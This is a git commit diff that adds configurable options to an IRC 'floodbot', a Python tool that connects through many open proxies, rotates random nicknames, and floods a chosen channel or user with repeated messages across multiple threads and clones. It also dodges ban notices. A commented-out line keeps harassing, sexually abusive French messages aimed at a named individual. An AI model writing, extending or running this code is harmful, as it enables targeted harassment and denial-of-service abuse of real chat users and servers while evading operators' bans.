add options to floodbot
This commit is contained in:
11
config.py
11
config.py
@@ -51,3 +51,14 @@ class Config(ComboParser):
|
|||||||
self.add_item(section, 'query', str, 'psw', 'build query using Proxies, Search, Websites', False)
|
self.add_item(section, 'query', str, 'psw', 'build query using Proxies, Search, Websites', False)
|
||||||
|
|
||||||
self.aparser.add_argument("--file", help="import a single file containing proxy addrs", type=str, default='', required=False)
|
self.aparser.add_argument("--file", help="import a single file containing proxy addrs", type=str, default='', required=False)
|
||||||
|
|
||||||
|
section = 'flood'
|
||||||
|
self.add_item(section, 'server', str, 'irc.epiknet.org', 'irc server address', True)
|
||||||
|
self.add_item(section, 'message', str, 'default message', 'message', True)
|
||||||
|
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False)
|
||||||
|
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
||||||
|
self.add_item(section, 'max_time', int, 180, 'maximum time to run (default: 180secs)', False)
|
||||||
|
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False)
|
||||||
|
self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates) - default: 0', False)
|
||||||
|
self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout (default: false)', False)
|
||||||
|
self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run - default: 1', False)
|
||||||
|
|||||||
@@ -52,22 +52,43 @@ def socks4_resolve(srvname, server_port):
|
|||||||
|
|
||||||
def flood(sock):
|
def flood(sock):
|
||||||
nick = random.choice(nicklist)
|
nick = random.choice(nicklist)
|
||||||
msgs = [ "coucou c'est papa, pourquoi tu m'ignores?", "c'est papa, pourquoi tu es partie?", "gniagniagnia harcelement", "arrete de geindre", "coucou tu veux voir ma bite? (ps: c'est papa)" ]
|
#msgs = [ "coucou c'est papa, pourquoi tu m'ignores?", "c'est papa, pourquoi tu es partie?", "gniagniagnia harcelement", "arrete de geindre", "coucou tu veux voir ma bite? (ps: c'est papa)" ]
|
||||||
|
msgs = config.flood.message.split(';')
|
||||||
|
|
||||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
||||||
|
ticks = time.time()
|
||||||
|
sent_ping = False
|
||||||
while True:
|
while True:
|
||||||
|
if config.flood.max_time > 0:
|
||||||
|
if (time.time() - ticks) > config.flood.max_time: break
|
||||||
recv = sock.recvline()
|
recv = sock.recvline()
|
||||||
print(recv.strip())
|
print(recv.strip())
|
||||||
if not len(recv): return
|
if not len(recv): break
|
||||||
elif 'Proxy/Drone' in recv or 'contact kline@' in recv: return
|
elif 'Proxy/Drone' in recv or 'contact kline@' in recv: break
|
||||||
elif recv.startswith('ERROR'): return
|
elif recv.startswith('ERROR'): break
|
||||||
elif recv.startswith('PING'):
|
elif recv.startswith('PING'):
|
||||||
|
if config.flood.use_timeout:
|
||||||
|
if sent_ping: continue
|
||||||
sock.send( recv.replace('PING', 'PONG'))
|
sock.send( recv.replace('PING', 'PONG'))
|
||||||
#elif ' 001 ' in recv: sock.send('JOIN #BDSM\r\nPRIVMSG #BDSM :lila: %s\r\nPRIVMSG lila :%s\r\n' %(random.choice(msgs), random.choice(msgs)))
|
sent_ping = True
|
||||||
elif ' 001 ' in recv:
|
else:
|
||||||
for i in range(3): sock.send('PRIVMSG lila :%s\r\nNICK %s\r\n' %random.choice(msgs), random.choice(nicklist))
|
_split = recv.split(' ')
|
||||||
elif ' 433 ' in recv: sock.send('NICK %s\r\n' % random.choice(nicknames))
|
# irc welcome message
|
||||||
|
if _split[1] == '001':
|
||||||
|
# target is a chan
|
||||||
|
if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target:
|
||||||
|
sock.send('JOIN %s\r\n' % config.flood.target)
|
||||||
|
|
||||||
|
if config.flood.change_nick:
|
||||||
|
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||||
|
else:
|
||||||
|
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||||
|
|
||||||
|
# nick already used
|
||||||
|
elif _split[1] == '433':
|
||||||
|
sock.send('NICK %s\r\n' % random.choice(nicknames))
|
||||||
|
|
||||||
|
sock.disconnect()
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|
||||||
@@ -83,10 +104,9 @@ class WorkerJob():
|
|||||||
self.isoldies = oldies
|
self.isoldies = oldies
|
||||||
|
|
||||||
def connect_socket(self):
|
def connect_socket(self):
|
||||||
srvname = random.choice(config.servers).strip()
|
srvname = config.flood.server
|
||||||
srvname = 'irc.epiknet.org'
|
|
||||||
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
||||||
use_ssl = random.choice([0,1]) if config.watchd.use_ssl == 2 else config.watchd.use_ssl
|
use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl
|
||||||
server_port = 6697 if use_ssl else 6667
|
server_port = 6697 if use_ssl else 6667
|
||||||
|
|
||||||
fail_inc = 1
|
fail_inc = 1
|
||||||
@@ -131,7 +151,7 @@ class WorkerJob():
|
|||||||
elif fp == 0 and \
|
elif fp == 0 and \
|
||||||
err == rocksock.RS_E_TARGET_CONN_REFUSED:
|
err == rocksock.RS_E_TARGET_CONN_REFUSED:
|
||||||
fail_inc = 0
|
fail_inc = 0
|
||||||
if random.randint(0, (config.watchd.threads-1)/2) == 0:
|
if random.randint(0, (config.flood.threads-1)/2) == 0:
|
||||||
_log("could not connect to proxy 0, sleep 5s", "ERROR")
|
_log("could not connect to proxy 0, sleep 5s", "ERROR")
|
||||||
time.sleep(5)
|
time.sleep(5)
|
||||||
elif et == rocksock.RS_ET_GAI:
|
elif et == rocksock.RS_ET_GAI:
|
||||||
@@ -313,7 +333,7 @@ class Proxywatchd():
|
|||||||
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
||||||
ret = False
|
ret = False
|
||||||
|
|
||||||
_log("updating %d DB entries (success rate: %.2f%%)"%(len(self.collected), success_rate), 'watchd')
|
_log("success rate: %.2f%%"%(len(self.collected), success_rate), 'flood')
|
||||||
#self._prep_db()
|
#self._prep_db()
|
||||||
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
||||||
#self.mysqlite.executemany(query, args)
|
#self.mysqlite.executemany(query, args)
|
||||||
@@ -325,7 +345,7 @@ class Proxywatchd():
|
|||||||
return ret
|
return ret
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
if config.watchd.threads == 1 and _run_standalone:
|
if config.flood.threads == 1 and _run_standalone:
|
||||||
return self._run()
|
return self._run()
|
||||||
else:
|
else:
|
||||||
return self._run_background()
|
return self._run_background()
|
||||||
@@ -342,9 +362,9 @@ class Proxywatchd():
|
|||||||
def _run(self):
|
def _run(self):
|
||||||
_log('starting...', 'watchd')
|
_log('starting...', 'watchd')
|
||||||
|
|
||||||
for i in range(config.watchd.threads):
|
for i in range(config.flood.threads):
|
||||||
# XXX: multiplicator
|
# XXX: multiplicator
|
||||||
for i in range(3):
|
for i in range(config.flood.clones):
|
||||||
threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] )
|
threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] )
|
||||||
wt = WorkerThread(threadid)
|
wt = WorkerThread(threadid)
|
||||||
if self.in_background:
|
if self.in_background:
|
||||||
@@ -408,7 +428,8 @@ if __name__ == '__main__':
|
|||||||
_run_standalone = True
|
_run_standalone = True
|
||||||
|
|
||||||
config.load()
|
config.load()
|
||||||
config.watchd.threads = 15
|
|
||||||
|
#config.flood.threads = config.flood.threads * config.flood.clones
|
||||||
|
|
||||||
w = Proxywatchd()
|
w = Proxywatchd()
|
||||||
try:
|
try:
|
||||||
|
|||||||
Reference in New Issue
Block a user